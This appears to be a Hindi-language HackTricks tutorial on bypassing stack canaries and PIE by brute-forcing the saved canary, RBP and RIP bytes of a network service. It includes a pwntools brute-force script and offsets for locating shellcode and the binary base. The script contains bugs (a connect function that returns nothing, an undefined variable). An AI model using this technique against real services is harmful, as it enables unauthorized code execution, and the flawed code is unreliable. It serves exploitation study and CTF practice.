BF Addresses in the Stack

htARTE (HackTricks AWS Red Team Expert) से AWS हैकिंग सीखें!

HackTricks का समर्थन करने के अन्य तरीके:

अगर आपके सामने एक कैनरी और PIE (पोजीशन इंडिपेंडेंट एक्जीक्यूटेबल) द्वारा संरक्षित बाइनरी है, तो आपको शायद उन्हें दूर करने का एक तरीका ढूंढने की आवश्यकता होगी।

ध्यान दें कि checksec यह नहीं पता लगा सकता कि एक बाइनरी को कैनरी द्वारा संरक्षित किया गया है अगर यह स्थाई रूप से कॉम्पाइल किया गया था और यह फ़ंक्शन को पहचानने की क्षमता नहीं है। हालांकि, आप इसे मैन्युअल रूप से ध्यान दे सकते हैं अगर आपको लगता है कि किसी मानक कोल के शुरू में स्टैक में एक मान सहेजा गया है और इस मान की जांच प्रक्रिया समाप्त होने से पहले की जाती है।

ब्रूट-फ़ोर्स पतों

PIE को दूर करने के लिए आपको कुछ पतों को लीक करने की आवश्यकता है। और अगर बाइनरी को कोई पता नहीं लीक कर रहा है तो सबसे अच्छा यह है कि आप वलनरेबल फ़ंक्शन में स्टैक में सहेजे गए RBP और RIP को ब्रूट-फ़ोर्स करें। उदाहरण के लिए, यदि एक बाइनरी को एक कैनरी और PIE का उपयोग करके संरक्षित किया गया है, तो आप कैनरी को ब्रूट-फ़ोर्स करना शुरू कर सकते हैं, फिर अगले 8 बाइट (x64) में सहेजे गए RBP होगा और अगले 8 बाइट में सहेजे गए RIP होंगे।

समझा जाता है कि स्टैक में वापसी पता मुख्य बाइनरी कोड का हिस्सा है, जो, यदि दुरुपयोग बाइनरी कोड में स्थित है, तो आम तौर पर मामला होगा।

बाइनरी से RBP और RIP को ब्रूट-फ़ोर्स करने के लिए आप यह तय कर सकते हैं कि एक मान्य अनुमानित बाइट सही है अगर प्रोग्राम कुछ आउटपुट करता है या यह केवल क्रैश नहीं होता है। कैनरी को ब्रूट-फ़ोर्स करने के लिए प्रदान किए गए वही फ़ंक्शन RBP और RIP को ब्रूट-फ़ोर्स करने के लिए उपयोग किया जा सकता है:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

आपको PIE को परास्त करने के लिए आखिरी चीज़ यह है कि लीक हुए पतों से उपयोगी पतों की गणना करनी है: RBP और RIP

RBP से आप स्टैक में अपनी शैल को कहाँ लिख रहे हैं यह गणना कर सकते हैं। यह जानना बहुत उपयोगी हो सकता है कि आप स्टैक के अंदर "/bin/sh\x00" स्ट्रिंग को कहाँ लिखने जा रहे हैं। लीक हुए RBP और आपकी शैलकोड के बीच की दूरी की गणना करने के लिए आप बस एक ब्रेकपॉइंट डाल सकते हैं जब RBP लीक हो जाए और चेक कर सकते हैं कि आपकी शैलकोड कहाँ स्थित है, फिर, आप शैलकोड और RBP के बीच की दूरी की गणना कर सकते हैं:

INI_SHELLCODE = RBP - 1152

RIP से आप PIE binary का base address की गणना कर सकते हैं जो आपको एक मान्य ROP chain बनाने की आवश्यकता है। बेस एड्रेस की गणना के लिए बस objdump -d vunbinary करें और डिसएंबल नवीनतम पते की जाँच करें:

उस उदाहरण में आप देख सकते हैं कि सभी कोड को ढूंढने के लिए केवल 1 बाइट और आधा आवश्यक है, फिर, इस स्थिति में बेस एड्रेस लीक्ड RIP पर होगा लेकिन "000" पर समाप्त होगा। उदाहरण के लिए अगर आपने 0x562002970ecf लीक किया है तो बेस एड्रेस 0x562002970000 होगा।

elf.address = RIP - (RIP & 0xfff)

सुधार

इस पोस्ट से कुछ अवलोकन के अनुसार, यह संभव है कि RBP और RIP मानों को लीक करते समय, सर्वर क्रैश नहीं होगा जब कुछ मान गलत हों जो सही नहीं हैं और BF स्क्रिप्ट सही मानों को प्राप्त हुआ मानेगा। यह इसलिए है क्योंकि संभावना है कि कुछ पते इसे तोड़ नहीं पाएंगे भले ही वे बिल्कुल सही न हों

उस ब्लॉग पोस्ट के अनुसार सुझाव दिया गया है कि सर्वर के बीच अनुरोधों के बीच एक छोटी देरी जोड़ना चाहिए।

Last updated